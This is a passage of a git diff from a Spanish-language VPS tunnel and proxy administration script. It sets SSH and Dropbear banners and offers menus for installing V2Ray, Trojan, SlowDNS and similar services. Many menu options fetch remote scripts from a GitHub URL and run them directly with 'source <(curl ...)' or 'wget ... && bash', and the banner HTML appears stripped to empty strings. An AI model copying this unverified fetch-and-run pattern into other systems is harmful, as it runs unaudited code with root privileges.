'$(cat /bin/ejecutar/menu_credito)'® | '$credi'

' >> /etc/bannerssh +[[ -d /etc/dropbear ]] && { +[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} || men="NO EXISTE DROPBEAR" +msg -bar +echo -ne " \033[1;31m[ ! ] VERIFICANDO DROPBEAR " +service dropbear restart > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && { +/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || { +echo -e "\033[1;31m - BANNER INCOMPATIBLE CON DROPBEAR -\n" && echo "DESTRUYENDO DISEÑO" +echo "" > /etc/dropbear/banner +/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" +} +} || echo -e "\033[0;35m [ $men ]" +echo -ne " \033[1;31m[ ! ] VERIFICANDO SSH" +service ssh restart > /dev/null 2>&1 +service sshd restart > /dev/null 2>&1 +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +sleep 0.1s +exit +} + +txt_font () { +echo -e "\n\033[1;31m[\033[1;36m01\033[1;31m]\033[1;33m Letra Pequeña" +echo -e "\033[1;31m[\033[1;36m02\033[1;31m]\033[1;33m Letra Media" +echo -e "\033[1;31m[\033[1;36m03\033[1;31m]\033[1;33m Letra Grande" +echo -e "\033[1;31m[\033[1;36m04\033[1;31m]\033[1;33m Letra ExtraGrande" +echo "" +echo -ne "\033[1;32mEscoje el Tamaño de Letra\033[1;31m ?\033[1;37m : "; read opc +if [[ "$opc" = "1" ]] || [[ "$opc" = "01" ]]; then +_size='6' +elif [[ "$opc" = "2" ]] || [[ "$opc" = "02" ]]; then +_size='4' +elif [[ "$opc" = "3" ]] || [[ "$opc" = "03" ]]; then +_size='3' +elif [[ "$opc" = "4" ]] || [[ "$opc" = "04" ]]; then +_size='1' +else +_size='6' +fi +msg -bar +echo -ne "\033[1;37m" +read -p " INGRESA TU MENSAJE : " ban_ner2 +msg -bar +unset x +echo -e "\033[1;42m Deseas centrar el contenido del banner\033[0;33m :v" +echo "" +echo -ne "\033[0;32m Responde [ s | n ] : " && read -e -i "s" x +msg -bar +[[ "$x" = @(s|S|y|Y) ]] && echo -e '

' >> /etc/bannerssh +echo -e " \033[1;31m[ 1 ]\033[1;33m > VERDE \033[1;31m[ 9 ]\033[1;33m > AZUL PIZARRA OSCURO" +echo -e " \033[1;31m[ 2 ]\033[1;33m > ROJO \033[1;31m[ 10 ]\033[1;33m > MAGENTA" +echo -e " \033[1;31m[ 3 ]\033[1;33m > AZUL \033[1;31m[ 11 ]\033[1;33m > CHOCOLATE" +echo -e " \033[1;31m[ 4 ]\033[1;33m > AMARILLO \033[1;31m[ 12 ]\033[1;33m > VERDE CLARO" +echo -e " \033[1;31m[ 5 ]\033[1;33m > PURPURA \033[1;31m[ 13 ]\033[1;33m > GRIS" +echo -e " \033[1;31m[ 6 ]\033[1;33m > Naranja \033[1;31m[ 14 ]\033[1;33m > VERDE MAR" +echo -e " \033[1;31m[ 7 ]\033[1;33m > Crema \033[1;31m[ 15 ]\033[1;33m > CIAN OSCURO" +echo -e " \033[1;31m[ 8 ]\033[1;33m > Cyano \033[1;31m[ * ]\033[1;33m > Negro" +read -p " Digite A Cor [ 1 ⇿ 15 ]: " ban_ner2_cor +if [[ "$ban_ner2_cor" = "1" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner2_cor" = "2" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner2_cor" = "3" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner2_cor" = "4" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner2_cor" = "5" ]]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "6" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "7" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "8" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "9" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "10" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "11" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "12" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "13" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "14" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner2_cor" = "15" ]; then +echo '' >> /etc/bannerssh +else +echo '' >> /etc/bannerssh +fi +echo "$ban_ner2" >> /etc/bannerssh +echo "" >> /etc/bannerssh +[[ "$x" = @(s|S|y|Y) ]] && echo "

" >> /etc/bannerssh +} + +function_7 () { +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +msg -bar +echo -e "${cor[2]}MENU BANNER (RECOMENDADO 2): + $(msg -bar)" + echo -e "\033[0;35m [\033[0;36m01\033[0;35m]\033[0;31m >${cor[3]} Pegar BANNER Personalizado ( html , etc )" + echo -e "\033[0;35m [\033[0;36m02\033[0;35m]\033[0;31m >${cor[3]} AGREGAR MENSAJES BANNER SSH" + echo -e "\033[0;35m [\033[0;36m03\033[0;35m]\033[0;31m >${cor[3]} ELIMINAR BANNER ( SSH ⇿ DROPBEAR )" + msg -bar + echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m > $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 3) +case ${selection} in +1) +unset sshsn +unset sin_nao +echo -e " Al escojer que coloques tu Banner creado fuera del Script, ADM no se " +echo -e " Responsabiliza por el Fallo de ciertos recursos del SISTEMA" +echo -e "RECUERDA QUE EL SCRIPT ESTA REALIZADO PARA FUNCIONAR CON SUS FUNCIONES" +echo -e " Y esta es EXPERIMENTAL" +echo -e "Esta SEGURO de usar esta funcion ?:" +read -p " [S/N]: " -e -i n sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +local2="/etc/bannerssh" +chk=$(cat /etc/ssh/sshd_config | grep Banner) +if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then +local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}') + else +echo "Banner /etc/bannerssh" >> /etc/ssh/sshd_config +local="/etc/bannerssh" +fi +while true; do +echo -e " ESTAS SEGURO QUE TIENES TU BANNER BIEN ESTRUCTURADO " +read -p " [ s | n ]: " sin_nao + if [[ "$sin_nao" = @(s|S|y|Y) ]]; then + ban_per + elif [[ "$sin_nao" = @(n|N) ]]; then + break + fi +done +} +;; +2) +unset sshsn +unset sin_nao +echo -e "${cor[3]} Buena ELECCION, Tienes un 99% mas Garantia" +echo -e "${cor[3]} Esta SEGURO:" +read -p " [S/N]: " -e -i s sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +local2="/etc/bannerssh" +chk=$(cat /etc/ssh/sshd_config | grep Banner) +if [ "$(echo "$chk" | grep -v "#Banner" | grep Banner)" != "" ]; then +local=$(echo "$chk" |grep -v "#Banner" | grep Banner | awk '{print $2}') + else +echo "Banner /etc/bannerssh" >> /etc/ssh/sshd_config +local="/etc/bannerssh" +fi +msg -bar +echo -e "\n\033[1;31m[\033[1;36m01\033[1;31m]\033[1;33m Letra Pequeña" +echo -e "\033[1;31m[\033[1;36m02\033[1;31m]\033[1;33m Letra Media" +echo -e "\033[1;31m[\033[1;36m03\033[1;31m]\033[1;33m Letra Grande" +echo -e "\033[1;31m[\033[1;36m04\033[1;31m]\033[1;33m Letra ExtraGrande" +echo "" +echo -ne "\033[1;32mEscoje el Tamaño de Letra\033[1;31m ?\033[1;37m : "; read opc +if [[ "$opc" = "1" ]] || [[ "$opc" = "01" ]]; then +_size='6' +elif [[ "$opc" = "2" ]] || [[ "$opc" = "02" ]]; then +_size='4' +elif [[ "$opc" = "3" ]] || [[ "$opc" = "03" ]]; then +_size='3' +elif [[ "$opc" = "4" ]] || [[ "$opc" = "04" ]]; then +_size='1' +else +_size='6' +fi +msg -bar +echo -ne "\033[1;37m" +read -p " INGRESA TU MENSAJE : " ban_ner +msg -bar +echo -e " \033[1;31m[ 1 ]\033[1;33m > VERDE \033[1;31m[ 9 ]\033[1;33m > AZUL PIZARRA OSCURO" +echo -e " \033[1;31m[ 2 ]\033[1;33m > ROJO \033[1;31m[ 10 ]\033[1;33m > MAGENTA" +echo -e " \033[1;31m[ 3 ]\033[1;33m > AZUL \033[1;31m[ 11 ]\033[1;33m > CHOCOLATE" +echo -e " \033[1;31m[ 4 ]\033[1;33m > AMARILLO \033[1;31m[ 12 ]\033[1;33m > VERDE CLARO" +echo -e " \033[1;31m[ 5 ]\033[1;33m > PURPURA \033[1;31m[ 13 ]\033[1;33m > GRIS" +echo -e " \033[1;31m[ 6 ]\033[1;33m > Naranja \033[1;31m[ 14 ]\033[1;33m > VERDE MAR" +echo -e " \033[1;31m[ 7 ]\033[1;33m > Crema \033[1;31m[ 15 ]\033[1;33m > CIAN OSCURO" +echo -e " \033[1;31m[ 8 ]\033[1;33m > Cyano \033[1;31m[ * ]\033[1;33m > Negro" +read -p " [ 1 ⇿ 15 ]: " ban_ner_cor +unset local +unset x +echo -e "\033[1;42m Deseas centrar el contenido del banner\033[0;33m :v" +echo "" +echo -ne "\033[0;32m Responde [ s | n ] : " && read -e -i "s" x +msg -bar +[[ "$x" = @(s|S|y|Y) ]] && echo -e '

' > /etc/bannerssh +if [[ "$ban_ner_cor" = "1" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner_cor" = "2" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner_cor" = "3" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner_cor" = "4" ]]; then +echo '' >> /etc/bannerssh +elif [[ "$ban_ner_cor" = "5" ]]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "6" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "7" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "8" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "9" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "10" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "11" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "12" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "13" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "14" ]; then +echo '' >> /etc/bannerssh +elif [ "$ban_ner_cor" = "15" ]; then +echo '' >> /etc/bannerssh +else +echo '' >> /etc/bannerssh +fi +echo "$ban_ner" >> /etc/bannerssh +echo '' >> /etc/bannerssh +[[ "$x" = @(s|S|y|Y) ]] && echo "

" >> /etc/bannerssh +while true; do +echo -e " DESEAS AÑADIR MAS TEXTOS A TU BANNER?" +read -p " [ s | n ]: " sin_nao + if [[ "$sin_nao" = @(s|S|y|Y) ]]; then + txt_font + elif [[ "$sin_nao" = @(n|N) ]]; then + break + fi +done +[[ -e /root/name ]] && credi=$(cat < /root/name) || credi="@ChumoGH" +credit=$(cat < /bin/ejecutar/menu_credito | head -1) +echo -e '

'" $credit "'® | '"$credi"'

' >> /etc/bannerssh +#echo '© 2020 ChumoGH, ®' >> /etc/bannerssh +[[ -d /etc/dropbear ]] && { +[[ -e /etc/bannerssh ]] && cat /etc/bannerssh > /etc/dropbear/banner +} || men="NO EXISTE DROPBEAR" +msg -bar +echo -ne " \033[1;31m[ ! ] VERIFICANDO DROPBEAR " +service dropbear restart > /dev/null 2>&1 +[[ -e /etc/init.d/dropbear ]] && { +/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || { +echo -e "\033[1;31m ▢ BANNER INCOMPATIBLE CON DROPBEAR -\n" && echo "DESTRUYENDO DISEÑO" +echo "" > /etc/dropbear/banner +/etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" +} +} || echo -e "\033[0;35m [ $men ]" +echo -ne " \033[1;31m[ ! ] VERIFICANDO SSH " +service ssh restart > /dev/null 2>&1 +service sshd restart > /dev/null 2>&1 +[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +} +return 0 +;; +3) +echo "Verificando existencia de BANNER" +echo "" +[[ -e /etc/bannerssh ]] && { + echo "DESTRUYENDO BANNER SSH " + echo "" > /etc/bannerssh + } || echo "NO EXISTE BANNER DROPBEAR ESTRUCTURADO" + [[ -e /etc/dropbear/banner ]] && { + echo "DESTRUYENDO BANNER DROPBEAR " + echo "" > /etc/dropbear/banner + } || echo "NO EXISTE BANNER SSH ESTRUCTURADO" + return 0 +;; +*) +echo "LO SENTIMOS DIGITASTE MAL" +sleep 0.1s +return 0 +;; +esac +#TERMINA CASE +} + +meu-v2ray () { + +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 +tput cuu1 && tput dl1 + +msg -bar +echo -e "\e[97m\033[1;41m PROYECTOS V2RAY REFACTORIZADO By @ChumoGH 11-12-2022 \033[0m" +msg -bar +echo -ne "\033[1;37m + 1)- V2ray Manager UNIVERSAL + 2)- V2ray Manager by @Rufu99 +$(msg -bar) + 0)- Salir \n" | lolcat +msg -bar +selection=$(selection_fun 2) +case ${selection} in +1) +[[ ! -z $(which v2ray.menu) ]] && v2ray.menu || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh) +;; +2) +[[ ! -z $(which v2r.sh) ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray_manager.sh) +;; +0) +return 0 +;; +esac +} + +ssrmenu () { +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh) +} + +selection=$(selection_fun 14) +case ${selection} in +1) +cd /etc/scpdk1/ && fun_us +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +2) +cd /etc/scpdk1/ && function_2 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +3) +cd /etc/scpdk1/ && function_3 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +4) +cd /etc/scpdk1/ && function_4 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +5) +cd /etc/scpdk1/ && function_5 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +6) +cd /etc/scpdk1/ && function_7 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +7) +cd /etc/scpdk1/ && net_meter +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +8) +cd /etc/scpdk1/ && block_user +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +9) +cd /etc/scpdk1/ && recuva1 +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +10) +cd /etc/scpdk1/ && ssrmenu +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +11) +cd /etc/scpdk1/ && meu-v2ray +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +12) +cd /etc/scpdk1/ && consul_cli +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +13) +#[[ ! -z $(which troj.sh) ]] && troj.sh || echo -e " NO SE HA HABILITADO ACCESO AL PANNEL" +#echo -ne "${cor[5]}" +#read -p " ¡Enter, para volver!" +#source /etc/scpdk1/usercodes +#;; +#14) + +wget -q -O /tmp/instCHEKC.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/usercodes/initcheck.sh && bash /tmp/instCHEKC.sh +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes +;; +14) +_usCHECK +echo -ne "${cor[5]}" +read -p " ¡Enter, para volver!" +source /etc/scpdk1/usercodes + +;; +esac \ No newline at end of file diff --git a/Lista/v-local.log b/Lista/v-local.log deleted file mode 100644 index 5625e59..0000000 --- a/Lista/v-local.log +++ /dev/null @@ -1 +0,0 @@ -1.2 diff --git a/Lista/x b/Lista/x new file mode 100755 index 0000000..1f65926 --- /dev/null +++ b/Lista/x @@ -0,0 +1,127 @@ +#!/bin/bash +source `pwd`/msg +while true; do +#FUNCOES +cor=("\033[0m" "\033[1;34m" "\033[1;32m" "\033[1;37m" "\033[1;36m" "\033[1;33" "\033[1;35m") +unset squid dropbear openvpn stunel shadow telegran socks gettun tcpbypass webminn ddos v2ray +_portbaSE="$(netstat -tunlp)" +_ps="$(ps x)" +tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]" +pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else + if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then + echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] " + else + echo -e "\033[1;31m[OFF]" + fi +fi`; + +xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || { + [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || { + [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] " + } || _pidUDP="\033[1;31m[OFF]" +} +slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ") +slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]" +[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]" +[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]" +[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]" +[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]" +[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]" +[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]" +[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]" +[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]" +[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]" +[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]" +[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]" +[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]" +ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m" +[[ -d /usr/local/shadowsocksr ]] && { +user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l ) +user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts" +} || user_t="\033[1;31m[OFF]" +[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] " +[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]" +[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]" +[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]" +tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 +echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn" +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh" +echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP" +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!" +msg -bar #msg -bar +echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn" +echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b" +echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 20) +case ${selection} in +0) break;; +1) fun_squid && read -p " Enter";; +2) fun_dropbear && read -p " Enter";; +3) fun_openvpn && read -p " Enter";; +4) ssl_stunel && read -p " Enter";; +5) fun_shadowsocks && read -p " Enter";; +6) ssrmenu && read -p " Enter";; +7) iniciarsocks && read -p " Enter";; +8) v2ray-socket && read -p " Enter";; +9) instala_clash && read -p " Enter";; +10) trojan && read -p " Enter";; +11) psix && read -p " Enter";; +12) tcpd && read -p " Enter";; +13) web_min && read -p " Enter";; +14) slow-dns && read -p " Enter";; +15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";; +16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";; +17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";; +18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";; +19) _funUDP && read -p " Enter";; +20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";; +#21)fun_chisel && read -p " Enter";; +21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";; +22) funBadVPN && read -p " Enter";; +23) funTCP && read -p " Enter";; +24) funFAILBAN && read -p " Enter";; +25) funARQONLINE && read -p " Enter";; +26) funSPEED && read -p " Enter";; +27) funDETSYS && read -p " Enter";; +28) BlockADS && read 